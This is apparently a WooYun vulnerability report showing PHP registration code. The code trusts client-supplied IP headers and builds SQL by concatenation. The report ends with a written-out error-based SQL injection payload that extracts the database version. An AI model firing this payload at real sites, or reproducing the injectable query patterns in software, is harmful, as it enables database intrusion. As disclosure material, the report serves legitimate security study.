WooYun.org

/**
	 *  
	 * 保存注册用户
	 *
	 *
	 **/
	public function doreg() {
		//接收条件
		$uname		= trim($_POST["uname"]);
		$pass		= $_POST["pass"];
		$pass2		= $_POST["pass2"];
		$email		= trim($_POST["email"]);
		$referer	= empty($_SERVER["HTTP_REFERER"])?url('index','index'):$_SERVER['HTTP_REFERER'];
		
		//判断验证码
		$seccode	 = strtolower(trim($_POST["seccode"]));
		$sess_verify = '';
		if(isset($_SESSION['verify'])) {
			$sess_verify	= strtolower($_SESSION['verify']);
			//销毁verify
			unset($_SESSION['verify']);
		}
		if( !$seccode || ($sess_verify != $seccode)  ) {
			$this->setHint("wrong_seccode","error",url("index","user",'reg'));
		}
		
		//判断用户
		if(DB::getDB()->selectexist("user","uname='".$uname."'")) {
			$this->setHint("uname_exist","error",url("index","user",'reg'));
		}
		//密码
		$len = strlen($pass);
		if($len<4 || $len >20) {
			$this->setHint("pass_length_error","error",	url("index","user",'reg'));
		}
		if($pass != $pass2) {
			$this->setHint("pass_not_equal","error",url("index","user",'reg'));
		}
		if(!$email || !isemail($email)) {
			$this->setHint("email_error","error",url("index","user",'reg'));
		}
		
		//入库
		$data = array("uname"=>$uname,"email"=>$email);
		$data += encpass($pass);
		$data["regip"]	= getClientIp();->获取客户端ip
		$data["lasttime"] = $data["regtime"]= time();
		$uid = DB::getDB()->insert("user",$data);
		unset($pass,$data);
		
		//session;
		$_SESSION["uname"] = $uname;
		$_SESSION["uid"]   = $uid;
		
		redirect($refer);
	}

/**
 *
 * 获取客户端IP
 * 
 */
function getClientIp(){
	if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
		$ip = getenv("HTTP_CLIENT_IP");
	else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
		$ip = getenv("HTTP_X_FORWARDED_FOR");
	else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
		$ip = getenv("REMOTE_ADDR");
	else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
		$ip = $_SERVER['REMOTE_ADDR'];
	else
		$ip = "unknown";
	return $ip;
}

' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,version(),0x27,0x7e) )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1